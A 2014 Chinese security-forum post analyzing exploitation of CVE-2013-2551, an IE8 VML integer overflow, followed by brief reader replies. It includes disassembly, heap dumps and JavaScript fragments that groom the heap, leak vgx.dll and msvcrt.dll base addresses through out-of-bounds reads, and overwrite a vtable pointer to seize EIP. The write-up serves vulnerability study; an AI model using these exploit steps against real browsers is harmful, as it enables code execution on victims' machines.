首页
社区
课程
招聘
[原创]Advanced Exploitation Technology-Analyze
2014-9-8 18:15 4598

[原创]Advanced Exploitation Technology-Analyze

2014-9-8 18:15
4598
中秋佳节,首先祝大家中秋快乐阖家欢!一个人的中秋也是醉了,所有就来看雪发帖啦啦啦!

概述:
漏洞:cve-2013-2551 
环境:win7 sp1 无补丁
主要内容:任意地址读写,泄露DLL基址绕过ALSR,控制EIP

这篇分析(再分析)是小弟我学习漏洞分析过程中的心得体会,拿来与和我一样喜欢网络安全的同学分享一下
行文简陋,如有不对的地方还望大神们多多指教!

附件为分析文章,已转换为PDF,在这里就不贴出来啦!
如果大家想在线看原文的话,也可以访问这里:http://blogs.360.cn/360safe/2014/09/04/advanced-exploitation-technology-analyze/

Advanced Exploitation Technology-Analyze
作者:tedjoy
微博:http://weibo.com/u/2728536082

自我介绍:

作为安全界的新人+菜鸟,最近一直在学习分析各种漏洞利用技巧,所以便有了下文。主要是为了给自己留下个总结,同时也可以跟像我一样对网络安全感兴趣的同学分享下自己的学习心得!本人才疏学浅,若有不对的地方还望大神们多多指教,再此感激不尽!

概述:

漏洞:cve-2013-2551

系统:win7 + IE8 无补丁

主要内容:分析如何绕过ASLR,泄露MSVCRT.DLL基址;控制EIP

我们废话少说,开始正题

漏洞成因简述:

该漏洞是国外“网络军火商”VUPEN发现的,并在2013年的Pwn2Own上用来攻克win8 + IE10,可以在这里查看VUPEN的blog,可以在这里下载4B5F5F4B大牛分享的poc。

先在这里简单分析下漏洞成因,具体的大家可以去VUPEN的blog自己看看。

VML实现了很多形状标签的子元素,其中有一个 Stroke 子元素就是有问题的元素,它有个 dashstyle的属性,我们可以对该属性赋值,代码如下:
<v:oval>
<v:stroke dashstyle=”2 2 2 0 2 2 2 0″/>
</v:oval>


当然也可以用javascript在我们需要的时候对 dashstyle 进行动态赋值:
<v:oval>
<v:stroke id=”vml1″>
</v:oval>
 
var vml1 = document.getElementById(“vml1″);
vml1.dashstyle = “11 12 13 15″;


由于篇幅关系,我在这里只叙述一下最重要的地方。

在执行
vml1.dashstyle = “11 12 13 15″;


这条js代码的时候,在vgx.dll中的实现过程中有几步如下:

首先会在内存中申请0×10字节的空间,存放COALineDashStyle对象,代码如下(以下所有汇编代码的地址包括部分实现代码,由于版本不同可能会不同,但逻辑基本相同):
.text:00485BAD; struct COALineDashStyle *__thiscall COAShapeProg::GetOALineDashStyle()
.text:00485BAD                 mov     edi, edi
……
.text:00485BBE                 push    101h            ; int
.text:00485BC3                 push    10h             ; Size
.text:00485BC5                 call     operator new(uint,int)
.text:00485BCA                 test    eax, eax
.text:00485BCC                 pop     ecx
.text:00485BCD                 pop     ecx
.text:00485BCE                 jz      short loc_485BDD
.text:00485BD0                 push    [ebp+arg_0]     ; struct IInternalPeer *
.text:00485BD3                 mov     ecx, eax        ; this
.text:00485BD5                 push    esi             ; struct COAShapeProg *
.text:00485BD6                 call     COALineDashStyle::COALineDashStyle()


接着会开辟内存来存放赋值给 dashstyle 属性的数组(在内存中是ORG对象),在这里关心的是该数组所在的内存空间,而不是ORG对象所在的空间,具体原因在后面详细解释

现在在看下COALineDashStyle 对象在的方法:


其中有个方法是get_array(),我们来看下他的实现:
.text:00488C5E ; __int32 __stdcall COALineDashStyle::get_array()
.text:00488C5E                 mov     edi, edi
.text:00488C60                 push    ebp
……
.text:00488CCB :
.text:00488CCB                 mov     ecx, [esi+4]    ; this
.text:00488CCE                 push    edi             ; struct IInternalPeer *
.text:00488CCF                 call     COAShapeProg::GetOALineDashStyleArray()


这里会获取一个GetOALineDashStyleArray 对象,我们在来看看这个对象是怎么生成的,进入该函数:
.text:0047D779 ; __int32 __stdcall COALineDashStyle::get_presetStyle()
.text:00485BF5                 mov     edi, edi
.text:00485BF7                 push    ebp
.text:00485BF8                 mov     ebp, esp
……
.text:00485C06                 push    101h            ; int
.text:00485C0B                 push    10h             ; Size
.text:00485C0D                 call     operator new(uint,int)
.text:00485C12                 test    eax, eax
.text:00485C14                 pop     ecx
.text:00485C15                 pop     ecx
.text:00485C16                 jz      short loc_485C25
.text:00485C18                 push    [ebp+arg_0]
.text:00485C1B                 mov     ecx, eax
.text:00485C1D                 push    esi
.text:00485C1E                 call    COALineDashStyleArray::COALineDashStyleArray()


由以上代码可知GetOALineDashStyleArray对象的空间大小也是0×10字节。这里是不是有点什么 :)

以上说了这么多,其实都没有在说漏洞触发的原因,当然肯定是非常有用的正如我前面所说,接下来再看漏洞是如何触发的,触发漏洞代码如下:
vml1.dashstyle.array.length = 0 – 1;


这里会因为在实现的时候的bug造成整数溢出,具体的在VUPEN的blog上有详细介绍,我就在这里解释下最关键的地方,在对dashstyle.array.length 属性赋值的时候,会经过一系列操作,大概过程是会判断原来的array 长度和预期的(新赋值的)长度,本意是如果原长度小于新长度就会再开辟内存空间对array 进行扩展,但是。。。人生中最精彩的就是这个但是了!!!

但是由于实现时的bug,当我们对array.length 赋值为一个负数(0xFFFFFFFF)时,会被直接赋值给array.length ,但是array.length 的定义又是一个 unsigned short,并且在判断的时候会被判断为原长度大于新长度所以不会开辟新的空间,关键代码如下(这部分代码的实现和VUPEN的不同,但逻辑一样):
.text:0047DB3E                 call    dword ptr [eax] ; 返回 ORG对象的地址
.text:0047DB40                 mov     eax, [ebp+this] ; eax 指向ORG对象
.text:0047DB43                 test    eax, eax
.text:0047DB45                 jz      short loc_47DBB8
.text:0047DB47                 mov     ecx, [eax]
.text:0047DB49                 push    eax
.text:0047DB4A                 call    dword ptr [ecx+2Ch] ; 返回数组的长度
.text:0047DB4D                 mov     esi, [ebp+length]
.text:0047DB50                 cmp     eax, esi        ; eax=ORG数组对象的长度,esi=要赋值的新长度0xFFFFFFFF
.text:0047DB52                 jge     short loc_47DBA9 ;跳走触发bug,不跳就会开辟新空间扩展数组
.text:0047DB54                 push    101h            ; int
.text:0047DB59                 sub     esi, eax
.text:0047DB5B                 xor     ecx, ecx
.text:0047DB5D                 push    4
.text:0047DB5F                 pop     edx
.text:0047DB60                 mov     eax, esi
.text:0047DB62                 mul     edx
.text:0047DB64                 seto    cl
.text:0047DB67                 neg     ecx
.text:0047DB69                 or      ecx, eax
.text:0047DB6B                 push    ecx             ; Size
.text:0047DB6C                 operator new(uint,int)
……
.text:0047DBA9 loc_47DBA9:
.text:0047DBA9                 mov     ecx, [ebp+this]
.text:0047DBAC                 mov     edx, [ecx]
.text:0047DBAE                 sub     eax, esi
.text:0047DBB0                 push    eax
.text:0047DBB1                 push    esi
.text:0047DBB2                 push    ecx
.text:0047DBB3                 call    dword ptr [edx+28h] ; 未开辟空间,直接修改长度


所有现在就可以越界访问了!!!

Exploit:

泄露vgx.dll地址:


对于这种类型的神洞,利用思路一般都是先申请大量和漏洞对象相同大小的其他对象,然后释放其中的奇数对象,然后再申请漏洞对象,让其分配这些对象的中间如下:


再触发漏洞,越界访问,读出下一个对象的虚表地址,然后就可以泄露该对象虚表所在的DLL的基址了,最后再修改虚表指针,指向我们已经控制的内存(通过heap spraying)区域,当调用该对象虚函数时就可以控制EIP了。

VUPEN的blog里提到了COAShape::get__anchorRect() 方法会返回COAReturnedPointsForAnchor 对象,大小为0×10字节,如果和精心构造的ORG数组一起就能完成上面的内存布局,但是我在操作的时候怎么都不能将2对象紧密连在一起,代码如下(没有释放奇数堆块,效果是一样的):
for (var i = 0; i < 0×1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
if (i == 0xb00 ) {
vml1.dashstyle = “11 12 13 15″;
};
}


在COAReturnedPointsForAnchor 对象和ORG对象之间总有其他对象(后来才发现这是COAShape对象,它的大小也固定为0×10字节,越界访问该对象也是可以的,不过这是后话了),对于我这种有强迫症的人来说这是不可容忍的,为了更具有“稳定性”,于是我就想到了上文提到的2个对象COALineDashStyle和GetOALineDashStyleArray,因为在每次生成ORG数组的时候都会按照上面提到的流程,在内存开辟3段空间来存放COALineDashStyle,ORG, GetOALineDashStyleArray,而且COALineDashStyle和GetOALineDashStyleArray得大小都为0×10字节,所以我可以让ORG数组大小也为0×10字节,这样就能让他们在内存空间依次连续。当然首先我先申请大量的COAReturnedPointsForAnchor,简单来说就是为了消耗内存碎片,确保关键对象能在内存连续布局,代码如下:
for (var i = 0; i < 0×1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
}
vml1.dashstyle = “11 12 13 15″;


经测试后发现确实可行,内存布局如下:


内存布局如下:
0:005> dd /c 2 06d112d0
06d112d0 75f3e702 88000000
06d112d8 6c18482c 06d230e0
06d112e0 00000003 00000000
06d112e8 75f3e705 88000000
06d112f0 0000000b 0000000c
06d112f8 0000000d 0000000f
06d11300 75f3e738 88000000
06d11308 6c184964 06d230e0
06d11310 00000003 00000000


Red: COALineDashStyle

Green:ORG数组

Purple: GetOALineDashStyleArray 其中Red区域便是虚表指针

接下来触发漏洞,获取虚表地址,减去偏移,得到vgx.dll基址,代码如下:
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 – 1;
//alert(“tedjoy”);
var objAddress = vml1.dashstyle.array.item(0×6);
var baseAddres = objAddress – 0×84964;


但是紧接着发现,仅仅通过vgx很难构造出完整的rop,所以我们还需要实现任意地址读写,其实任意地址读就够了,泄漏出msvcrt.dll基址。

任意地址读写,泄露MSVCRT.DLL基址:

基本思路还是和前面的一样,只是用的对象有所不同,VUPEN’s blog 上提到COARuntime      Style对象,该对象有几个方法如下:

其中get_rotation()方法,会调用CVMLShape::GetRTSInfo(),GetRTSInfo()再调用CParserTag::GetRTSInfo()函数申请0xac字节大小的空间(这里和VUPEN说的有点偏差,可能是他们笔误,0xac字节的内存并不是COARuntime      Style对象),实际大小为0xb0,在第一次调用get_marginLeft时也会申请0xac字节内存。代码如下:

.text:00480969 ; __int32 __stdcall COARuntimeStyle::get_rotation()
.text:00480969                 mov     edi, edi
.text:0048096B                 push    ebp
.text:0048096C                 mov     ebp, esp
……
 
.text:004809BC                 call    CVMLShape::GetRTSInfo(void)
.text:004809C1                 cmp     eax, ebx
.text:004809C3                 jz      short loc_480A07
 
.text:00467B40 ; struct CRuntimeStyleInfo *__thiscall CVMLShape::GetRTSInfo()
.text:00467B40                 mov     edi, edi
.text:00467B42                 push    ebx
.text:00467B43                 mov     ebx, ecx
.text:00467B45                 call    CVMLShape::GetShapeView(void)
.text:00467B4A                 test    eax, eax
.text:00467B4C                 jz      short loc_467B80
.text:00467B4E                 cmp     dword ptr [eax+74h], 0
.text:00467B52                 jz      short loc_467B80
.text:00467B54                 mov     ecx, [eax+74h]
.text:00467B57                 mov     eax, [ecx]
.text:00467B59                 push    edi
.text:00467B5A                 call    dword ptr [eax+18h]


调用CParserTag::GetRTSInfo(),申请0xAC字节内存

重点是其中的get_marginLeft()方法,该方法在第一次被调用时如果没有事先申请0xac字节的内存空间就会自己申请,然后再读取0xAC字节内存块便宜0×58处的指针所指向的字符串(任意地制读),代码如下:
.text:004801DA ; __int32 __stdcall COARuntimeStyle::get_marginLeft()
.text:004801DA                 mov     edi, edi
.text:004801DC                 push    ebp
.text:004801DD                 mov     ebp, esp
.text:0048022C                 mov     ecx, esi        ; this
.text:0048022E                 jnz     short loc_48025E
.text:00480230                 call    CVMLShape::GetRTSInfo(void);会判断是否申请0xAC字节内存,返回0xAC内存块的首地址
.text:00480235                 cmp     eax, ebx
.text:00480237                 jz      short loc_480255
.text:00480239                 mov     ecx, [eax+58h];偏移0×58
.text:0048023C                 cmp     ecx, ebx
.text:0048023E                 jz      short loc_48024D
.text:00480240                 push    ecx             ; unsigned __int16 *
.text:00480241                 call    GelHost::OASysAllocString();复制指针指向的字符串


struct CRuntimeStyleInfo *__thiscall CParserTag::GetRTSInfo(CParserTag *this){
CParserTag *v1; // edi@1
void *v2; // eax@2
v1 = this;
if ( !*((_DWORD *)this + 12) ){
v2 = operator new(0xACu);
if ( v2 ){
*((_BYTE *)v2 + 3) &= 0xFEu;
……
}
else{v2 = 0;}
*((_DWORD *)v1 + 0xC) = v2;
if ( !v2 )
return 0;
memset(v2, 0, 0xACu);
}
return (struct CRuntimeStyleInfo *)*((_DWORD *)v1 + 12);
}


所以可以通过精心构造ORG数组的大小来布局内存,使其效果如下图所示:

JS代码如下:
for (var i = 0; i < 0×400; i++) {
b[i] = document.getElementById(“rect” + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0×400; i++){
b[i].rotation;
if (i == 0×300) {
vml2.dashstyle = “1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 38 39 40 41 42 43 44″
}
}


内存布局如下:
0:005> dd  06b948e0
06b948e0 00000001 00000002 00000003 00000004
06b948f0 00000005 00000006 00000007 00000008
06b94900 00000009 0000000a 0000000b 0000000c
06b94910 0000000d 0000000e 0000000f 00000010
06b94920 00000011 00000012 00000013 00000014
06b94930 00000015 00000016 00000017 00000018
06b94940 00000019 0000001a 0000001b 0000001c
06b94950 0000001d 0000001e 0000001f 00000020
06b94960 00000021 00000022 00000023 00000024
06b94970 00000025 00000026 00000027 00000028
06b94980 00000029 0000002a 0000002b 0000002c
06b94990 1552cc54 8c000000 01400018 00000000
06b949a0 00000000 00000000 00000000 00000000
06b949b0 00000000 00000000 00000000 00000000
06b949c0 00000000 00000000 00000000 00000000
06b949d0 00000000 00000000 00000000 00000000
06b949e0 00000000 00000000 00000000 00000000
06b949f0 00000000 00000000 00000000 00000000
06b94a00 00000000 00000000 00000000 00000000
06b94a10 00000000 00000000 00000000 00000000
06b94a20 00000000 00000000 00000000 00000000
06b94a30 00000000 00000000 00000000 00000000
06b94a40 00000001 00000000 1552cc2f 8c000000


Red: ORG数组

Green: 0xb0内存块,其中红色部分将保存字符串指针

所以我们现在只需要触发漏洞修改偏移0×58处的值就可以实现任意地址读写,泄露MSVCRT.DLL基址 :)

JS代码如下:
//memcpy address in import
var memAddress = baseAddres + 0×1014;
var length_orig_2 = vml2.dashstyle.array.length;
vml2.dashstyle.array.length = 0 – 1;
for (var i=0; i<0×400; i++){
b[i].marginLeft = “tedjoy”;
marginLeftAddress = vml2.dashstyle.array.item(0x2E+0×16);
if (marginLeftAddress > 0) {
vml2.dashstyle.array.item(0x2E+0×16) = memAddress;
//leak msvcrt.dll base address
var leak = b[i].marginLeft;
alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ).toString(16) );
vml2.dashstyle.array.item(0x2E+0×16) = marginLeftAddress;
vml2.dashstyle.array.length = length_orig;
break;
}
}


得到的memcpy()函数地址:


控制EIP:

接下来就可以通过得到的memcpy()函数的地址得到MSVCRT.DLL的基址,然后构造ROP。

最后把之前的GetOALineDashStyleArray 对象的虚表指针修改指向通过heap spray已经控制了的内存空间。

JS代码如下:
vml1.dashstyle.array.item(0×6) = 0x0c0c0c0c;


接下来就会稳定的在如下所示的地方crash(因为没有heap spraying):
6addd9f2 6809040000      push    409h
6addd9f7 51              push    ecx
6addd9f8 8bce            mov     ecx,esi
6addd9fa e83e000000      call    jscript!IDispatchInvoke (6addda3d)
6addd9ff 8b16            mov     edx,dword ptr [esi]         ;edx=0x0c0c0c0c
6addda01 894510          mov     dword ptr [ebp+10h],eax
6addda04 8b4208          mov     eax, [edx+8] ds:0023:0c0c0c14=????????
6addda07 56              push    esi
6addda08 ffd0             call    eax


如果已经heap spray过,那就可以控制系统流程,执行ROP,绕过DEP执行任意代码

行文简陋,如有不对还望大神多多赐教!

注:本帖由看雪论坛志愿者PEstone 重新将附件整理排版,若和原文有出入,以原作者附件为准

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (19)
雪    币: 67
活跃值: (639)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kinglyu 2014-9-8 19:44
2
0
支持一下
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suwey 2014-9-8 19:50
3
0
下了就顶。。虽然没看
雪    币: 6341
活跃值: (3254)
能力值: ( LV8,RANK:138 )
在线值:
发帖
回帖
粉丝
zhighest 2014-9-8 20:01
4
0
顶了再看…………………………
雪    币: 6
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingfs 2014-9-8 20:24
5
0
技术不行,看的不是太明白,但是这是却是是个好文章
雪    币: 739
活跃值: (940)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
spman 2014-9-9 08:47
6
0
占位见证未来的牛牛。
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
AioliaSky 1 2014-9-9 09:20
7
0
来围观一下,支持了
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
TeddyJoy 1 2014-9-9 10:13
8
0
谢谢!多多交流!
雪    币: 1689
活跃值: (1698)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
HOWMP 1 2014-9-9 10:36
9
0
围观抠脚大汉
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
TeddyJoy 1 2014-9-9 10:42
10
0
还是你抠的好!23333333
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-9-9 21:40
11
0
原来是传说中的360漏洞挖掘组新秀,以后多来这里发帖交流啊!
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
TeddyJoy 1 2014-9-10 11:33
12
0
好的!!!
雪    币: 229
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
易木马 2014-9-10 15:42
13
0
这么牛X,但是没有看懂
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
hrpirip 1 2014-9-11 09:11
14
0
好想学漏洞溢出啊。。。你们这些大神。
雪    币: 9858
活跃值: (2984)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
暖洋洋 2014-9-11 19:01
15
0
支持围观了,感谢分享了
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
antLi 2014-9-15 09:17
16
0
支持一下,感谢分享!
雪    币: 35
活跃值: (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hnjc 2014-9-19 15:15
17
0
漏洞利用重要的地方都没讲,最多也就是漏洞分析,称不上是Advanced Exploitation Technology-Analyze
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
KiDebug 4 2014-9-21 00:17
18
0
过ASLR+过page heap,神洞啊
雪    币: 33
活跃值: (27)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
puzzor 2014-10-7 15:46
19
0
楼主你肾呢?
雪    币: 249
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
无限游侠 2014-10-13 10:30
20
0
好文章!
游客
登录 | 注册 方可回帖
返回